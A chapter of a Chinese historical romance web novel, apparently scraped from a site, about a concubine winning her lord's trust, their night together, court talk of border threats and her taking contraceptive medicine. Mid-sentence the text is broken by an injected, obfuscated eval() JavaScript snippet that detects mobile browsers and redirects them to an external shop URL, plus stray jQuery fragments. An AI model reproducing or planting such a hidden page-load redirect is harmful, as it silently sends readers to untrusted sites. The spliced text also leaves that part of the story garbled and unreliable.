雪枝心头咯噔一跳。
对上崔濯似笑非笑的眼眸,雪枝只觉得尾脊骨有一股寒气嗤嗤往上冒,直戳她的天灵盖。
雪枝狡黠地笑了笑,嗔了崔濯一眼:“爷这是在考验妾身呢,妾身可不是什么至人神人的,妾身只是一个女人而已。”
崔濯靠在引枕上,支着额头好整以暇地看着她:“哦,女人?”
雪枝颔首道:“天下女子,无一不想和心上人永结同心,白头偕老。”
她从袖中取出那块她重新打了络子的玉佩,双手献宝似的奉给崔濯,笑意盈盈的眼眸中满含期待。
“妾身瞧着世子爷这块玉佩上挂着的络子有些抽丝了,便自作主张给爷重新打了一个挂上,世子爷瞧瞧可还合心意么?”
崔濯从雪枝的手心里取走玉令,拿在手里把玩,除了换了络子之外,没有其他的更改毁损,千金阁也没有任何人去调动的迹象。
络子编得精致,显然是用心了的,这个丫头果然对他别有企图。
崔濯收起玉令,语气缓和道:“你有心了,你既为爷换了络子,可要什么奖赏吗?”
雪枝往崔濯身边挪了挪,伸出小指头,轻轻碰了碰崔濯的尾指,“爷说的是真的吗?”
“自是当然。”
雪枝道:“那,妾身希望,前些时日妾身给世子爷的那个荷包,世子爷可以时常佩戴在身上,妾身无法日日见到世子爷,便希望那个荷包,能够代替妾身陪伴在世子爷身边。”
少女仰着脸,盈盈目光中露出希冀的神情,叫人不忍拒绝。
崔濯仿佛是被魇住了,往前倾身,扣住了雪枝的下巴,“只要这个?”
“只要这个。”
崔濯眸色黑沉如墨,蓦地贴住雪枝嫣红的唇瓣,如同疾风骤雨般地吮吸攀咬着。
雪枝被这铺天盖地的掠夺闷得喘不过气,拍打着崔濯的胸膛,躲避着他的攻伐,“......爷......”
但崔濯似乎上瘾般,手掌钳制得愈发紧,宽大的臂膀把雪枝整个人都笼罩着,仿佛是笼中的雀鸟,逃不出牢笼。
雪枝实在没法呼吸,心一横,尖尖的细牙蓦地朝着崔濯的嘴唇咬了一口。
崔濯吃痛,终于移开了半丝距离。
雪枝不敢看他的眼睛,只盯着那个被她咬出血的小破口。
雪枝喘息着,双手攀上崔濯的肩膀,唇瓣轻移,覆住那个小破口,舌尖轻轻一舔,一点一点地轻啄,仿佛是在对待易碎的琉璃盏。
崔濯呼吸一重,心头仿佛被什么击中了,顿时春水漪漪,动作不自觉轻柔地回应着雪枝。
罢了,不论她是什么心思,都逃不脱他的掌心,放任自己轻纵一回又如何?
烛火交映,红鸾叠帐。
.......
雪枝醒得比崔濯早,但轻微一动,腰肢便觉得一阵酸胀。
雪枝不敢再动,睁眼入目的却是一个如同白玉般精壮的胸膛,只是胸膛上几道鲜红的抓痕和齿印给这块白玉硬生生添了几分暧昧。
雪枝耳根发烫,目光四散游离,却见崔濯的肩膀上竟然有一道三寸长的狰狞伤疤,看起来应该是近期添的新伤。
雪枝小心翼翼地碰了碰,一转头,就对上崔濯幽暗的目光。
“怕了?”
男人的声音带着沙哑,在沉沉的夜色中如同草原上的狼王。
雪枝轻轻摇头,“世子爷在外头的事情,我不懂,但是无论如何,世子爷都要保重自己的身体,不要受伤才好。”
女儿家的絮絮嘱咐如同一道暖流淌进崔濯的心里,硬生生把寒如冰窖的心溶开一丝裂痕。
“放心,我死不了。”崔濯懒懒道。
外头传来轻微的敲门声,是褚墨道:“主子,该上朝了。”
天还没亮,崔濯便要起身洗漱,准备上朝。
雪枝本想起身服侍,却被崔濯按回去,“不必拘礼,你睡吧,等醒了再回去。”
雪枝也不想起,也就顺势躺了回去。
崔濯起身披了中衣,顿了片刻,俯身吻了吻她的额头道:“你的荷包,我会带在身上的。”
额头上的触感一触即离,雪枝失神片刻,连忙握住崔濯的衣袖,问道:“世子爷中午可回来用膳么?妾身好差人准备。”
“不必了,我从不在家中用午膳。”崔濯面色淡淡道。
雪枝乖巧地点了点头。
崔濯走后,雪枝仰面躺在床上,失神地望着雕梁画栋的床顶,崔濯如今,就算不是十分信她,至少也有八分了,第一步算是走成功了,接下来只要能够得到崔濯的宠爱,让他答应娶妻就行。
说起来容易,但真的做起来,恐怕就没那么容易了。
雪枝叹了口气,面对着床内满腹心思地睡去。
-
今日早朝的内容无聊得很,半朝大臣以皇帝膝下空虚为由,提议选秀大充后宫,绵延皇嗣。
崔濯只觉得这群大臣真是闲得慌,管天管地,还要管到人家里去。
但皇帝只是笑眯眯地说先帝时期连年征伐,国库空虚,不宜铺张大选,更何况国朝需要的是中宫所出嫡子,才能上安国本,下定民心。
大臣们被皇帝这一句话轻飘飘地挡回去,倒也不好再说什么,此事便被暂且压制了。
说起子嗣,昨夜闹得那般荒唐,她腹中会否已经孕育了二人的子嗣?
世家大族基本上都有心照不宣的规定,在没有嫡子前,决不能生育庶子,若是雪枝已经有了孩子,那他该如何处理?
若是打掉孩子……她那般脆弱,连他的亲吻都承受不住,如何能承受堕胎之险?
崔濯脑中思绪乱飞,就连下朝了都没注意。
“喂,醒神了,崔大人魂不守舍的模样,真是少见啊。”
揶揄的声音把崔濯的神思拉回来,一身飞鱼服出现在他面前。
崔濯见大殿中只剩他们二人,便和他一同往外走。
“你今日不用跟着陛下吗?陆指挥使。”崔濯绕开了陆寒江的问话。
陆寒江生得玉树临风,只是右眉处横亘着一条刀疤,又任职锦衣卫指挥使,浑身煞气看起来令人不敢靠近。
陆寒江眯起一双鹰眼:“你还真是走神得可以,方才没听见?陛下派我去晋中走一趟。”
崔濯和陆寒江都是皇帝幼时的伴读,自小一起长大,情分自然非比寻常,换作其他人对崔濯说这话,恐怕就得被记上好几笔了。
崔濯还真不知道自己错过了这么重要的消息,掩饰地别开眼,“是胡人有异动了?”
陆寒江见他还没傻到家,点了点头:“西边如今不太平,胡族的新任可汗纳沙是个野心勃勃的人,如今春来草长莺飞,自然相安无事,怕只怕一入冬就要生事。”
胡族是游牧民族,逐水草而居,能不能吃上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244768|197835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饭全看老天的面子,冬日熬不过去,在边境爆发冲突的事情比比皆是,晋中又是两族在边境最大的互市贸易城市,陆寒江得亲自去探探。
崔濯也赞同他的说法,而且他更担心,如果江南之事和边境冲突一起爆发,那才是大劫。
说完大事,陆寒江又开始嘴贫:“子湛,我瞧你平日也不喜欢这些脂粉之物,怎么今日佩了个荷包啊?”
崔濯低头,只见腰间挂着的蟹青色荷包迎风招展,十分打眼。
崔濯若无其事地解下来放进胸口,淡淡道:“家中所赠。”
陆寒江啧了一声,“哦,当真是英雄难过美人关啊。”
崔濯没有理他。
两人在宫门口分开,崔濯便回了刑部衙门办公。
今日不知怎的,各州府报上来的核验的案子,十件有八件都是和子嗣有关的。
青州某县一女子因不满丈夫在外留情,给他偷偷下了绝子药,没想到两年后外室怀孕找上门来,丈夫一意孤行要把人接进府中,妻子大怒骂了他一句绿王八,此事才被揭发出来,该县长官判处妻子杖四十,并依照丈夫所请休妻。
益州某富商为富不仁,酒醉后失手打死小儿子,其妻子和小妾联合勒死富商,原判二人死刑,念其二人为子报仇,该判流两千里。
洛阳一县令之子为青楼花魁争风吃醋打死富商之子,判流一千里。
崔濯提笔,把流一千里几个字圈出来,打回重判。
众生百态,在这几个案件之中也可见一斑。
若他有孩子……
崔濯愣了一下,他这是想什么呢?
褚墨见崔濯抬起头,看了眼沙漏,道:“主子,可要传膳吗?”
崔濯“传膳”二字堵在喉咙里,停顿半晌,才道:“备车,回府。”
雪枝早上被国公夫人唤去训了一通规矩,站得腰酸背痛,等到午膳时分,才得已脱身回到清珩院。
西厢房里,碧霞招呼着摆膳,烟霞帮雪枝揉着腰。
“夫人一大早就让姑娘去站规矩,也不心疼姑娘昨夜才……”
雪枝抬眸看了碧霞一眼,“慎言,夫人这么做是为了我好,我一个奴婢,要明白自己的身份。”
碧霞不敢再说。
雪枝知道她一心向着她,也不忍苛责,道:“方才喝了药嘴里发苦,你去厨房看看有没有蜜饯吧。”
碧霞忙欸了声,匆匆转身,却不想一打眼就瞧见崔濯走了进来。
“你生病了?喝的什么药?”
雪枝没想到崔濯这个时候竟然回来了,里面从塌上下来行礼,险些没站稳。
崔濯瞥了眼桌上的菜,竟然只有一荤一素两个菜,眉头微皱,“你平日里就吃这么点东西?厨房平日里是油水太足了,叫这府里穷得揭不开?”
雪枝道:“世子爷不必苛责他们,我一个人也吃不了多少,这一点已经够了,世子爷还没用饭吧,我吩咐人去传膳?”
见崔濯不置可否的样子,雪枝吩咐碧霞道:“世子爷中午在西厢房用膳,你去厨房瞧瞧,多带几样东西回来。”
打发其他人离开后,雪枝看着崔濯的神色,道:“世子爷今儿不高兴么?”
崔濯顺势搂着她坐下,眯着眼瞧她:“你还没回答爷的问题,吃的什么药?”
雪枝也没想着瞒他,便实话道:“是避子汤。”
崔濯目光一顿。